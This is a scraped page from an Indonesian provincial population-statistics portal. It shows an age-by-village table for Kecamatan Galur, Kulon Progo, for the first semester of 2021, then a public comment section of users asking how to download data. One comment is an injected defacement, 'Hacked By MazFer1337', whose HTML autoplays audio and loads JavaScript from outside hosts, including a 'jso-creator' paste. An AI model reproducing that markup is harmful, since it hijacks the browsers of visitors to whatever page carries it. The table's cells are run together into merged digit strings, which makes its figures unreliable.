Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER I 2021

Jumlah Penduduk KECAMATAN GALUR, KABUPATEN KULON PROGO, D.I Yogyakarta SEMESTER I 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaBANARANKRANGGANNOMPOREJOKARANGSEWUTIRTORAHAYUPANDOWANBROSOTTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun5550 1051829 471722 397580 1556980 1492320 435657 113313 338 651
2 tahun3817 551415 291410 245248 1005751 1081010 202731 58212 182 394
3 tahun3240 721417 311518 336956 1254437 811313 264029 69227 210 437
4 tahun4429 732015 351613 296358 1214331 741213 252924 53227 183 410
5 tahun4534 791222 341616 324748 955236 88811 192932 61209 199 408
6 tahun3833 712023 431213 255968 1275255 10779 163736 73225 237 462
7 tahun2334 571419 331316 295757 1145744 101710 172932 61200 212 412
8 tahun3436 701621 37913 224452 966058 1181715 323030 60210 225 435
9 tahun3635 711720 371412 266372 1355656 1122015 355527 82261 237 498
10 tahun4144 852718 451514 296459 1234159 100815 233036 66226 245 471
11 tahun3642 782319 421113 248566 1514962 1111616 324932 81269 250 519
12 tahun5550 1052019 392012 327179 1505758 1151819 373841 79279 278 557
13 tahun3939 782118 391612 286254 1164850 981319 322941 70228 233 461
14 tahun4130 712416 4077 146651 1176040 1001611 274230 72256 185 441
15 tahun3236 681218 301811 295562 1173539 741511 263133 64198 210 408
16 tahun2944 731315 281119 305564 1195639 9599 182626 52199 216 415
17 tahun4931 801712 291619 356560 1254756 1032417 413335 68251 230 481
18 tahun3337 702114 351517 326268 1304752 991012 222938 67217 238 455
19 tahun4131 721018 281320 336052 1124938 871310 233037 67216 206 422
20 tahun4841 891814 321312 257546 1214648 941614 303030 60246 205 451
21 tahun4540 852123 441912 317158 1294842 902417 413526 61263 218 481
22 tahun3951 901734 511413 277548 1234956 1051613 292837 65238 252 490
23 tahun3639 752418 421719 365956 1155450 1041717 342933 62236 232 468
24 tahun3434 681518 331817 354957 1066948 1171614 302528 53226 216 442
25 tahun3849 871914 331816 346456 1204954 1032618 443628 64250 235 485
26 tahun3542 771720 372514 395853 1115253 105918 274038 78236 238 474
27 tahun4430 741316 291815 334953 1026159 1201217 292739 66224 229 453
28 tahun3640 761512 271219 316157 1183348 811413 274329 72214 218 432
29 tahun4131 721519 341721 385479 1334657 1031319 323240 72218 266 484
30 tahun3832 701218 301420 344849 973135 661417 313937 76196 208 404
31 tahun3638 742823 51117 185453 1075548 1031214 263232 64228 215 443
32 tahun4633 791321 34913 224742 894943 92912 213130 61204 194 398
33 tahun3436 701815 33158 234745 924747 941111 222830 58200 192 392
34 tahun3726 631310 231111 223045 754157 981812 304135 76191 196 387
35 tahun3535 701022 321310 236048 1083745 82178 253131 62203 199 402
36 tahun4129 702023 431416 306670 1365651 1071110 214035 75248 234 482
37 tahun3441 752121 42815 234966 1154547 921318 314036 76210 244 454
38 tahun3147 782422 461116 276078 1385465 1191714 314542 87242 284 526
39 tahun3533 682021 41915 247251 1235260 1121114 252534 59224 228 452
40 tahun3446 801620 361413 277167 1385647 1031612 284138 79248 243 491
41 tahun3430 642214 361414 286365 1285960 1191312 252236 58227 231 458
42 tahun3438 722113 342219 416271 1335844 1021123 343940 79247 248 495
43 tahun3441 751524 392021 416564 1295345 98119 203736 73235 240 475
44 tahun4544 891516 311216 286046 1064245 871612 283127 58221 206 427
45 tahun3942 811923 421816 346862 1305459 1131111 224337 80252 250 502
46 tahun3747 842016 361622 386744 1116156 1171413 273534 69250 232 482
47 tahun4236 781916 351512 275660 1164740 871114 252319 42213 197 410
48 tahun4140 811519 342115 365472 1264946 951320 332635 61219 247 466
49 tahun4346 891812 302014 345963 1225546 1011612 283532 67246 225 471
50 tahun4154 951517 321620 365264 1165159 1102014 343144 75226 272 498
51 tahun4138 792816 442217 396268 1306058 1182116 373038 68264 251 515
52 tahun4940 891916 352220 425770 1273961 1001614 304243 85244 264 508
53 tahun4845 931919 381515 306677 1436442 1061421 354943 92275 262 537
54 tahun4950 991621 371719 364854 1024361 1041818 363140 71222 263 485
55 tahun4246 881115 262617 436668 1345148 992214 363934 73257 242 499
56 tahun5841 991217 291620 366951 1205848 1061110 212943 72253 230 483
57 tahun3340 731818 361219 314949 985441 951418 322730 57207 215 422
58 tahun3445 791015 252016 364358 1013845 831920 393033 63194 232 426
59 tahun2632 582012 321321 345349 1023746 831014 242332 55182 206 388
60 tahun2826 541113 241110 215157 1083249 812216 383031 61185 202 387
61 tahun3530 651014 24138 216551 1165148 992118 393533 68230 202 432
62 tahun2932 611022 32915 244039 794134 75910 192738 65165 190 355
63 tahun3326 591315 28128 204347 903433 671411 252424 48173 164 337
64 tahun2320 431312 25810 183637 733732 69412 161725 42138 148 286
65 tahun1919 38169 25917 264036 763039 6959 142726 53146 155 301
66 tahun2329 521918 3796 152434 582743 7068 142018 38128 156 284
67 tahun1929 481114 2589 173228 602922 5158 132322 45127 132 259
68 tahun1513 281615 3197 162735 622425 49107 172123 44122 125 247
69 tahun2316 39817 2567 131625 412627 5347 111614 3099 113 212
70 tahun1218 301611 2792 112329 523029 5964 101521 36111 114 225
71 tahun1418 321310 23512 172732 591222 3443 71516 3190 113 203
72 tahun1217 2947 11510 151923 421720 3759 141113 2473 99 172
73 tahun1116 2787 1579 161117 281623 3937 10168 2472 87 159
74 tahun1113 2476 1396 151518 331025 3535 81211 2367 84 151
75 tahun1723 40610 1639 122125 461917 3678 151412 2687 104 191
76 tahun2116 3769 1544 81415 291317 3066 12817 2572 84 156
77 tahun710 1736 904 41217 29616 2288 16128 2048 69 117
78 tahun1319 3232 555 101615 311622 3843 7915 2466 81 147
79 tahun713 2024 641 5129 211416 3044 8411 1547 58 105
80 ke atas59104 1632941 702930 5970130 20077118 1952629 554467 111334 519 853
Jumlah2.7392.7875.5261.2581.3332.5911.0791.1012.1804.1264.2058.3313.5433.6287.1711.0281.0342.0622.4092.4844.893 16.182 16.572 32.754
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih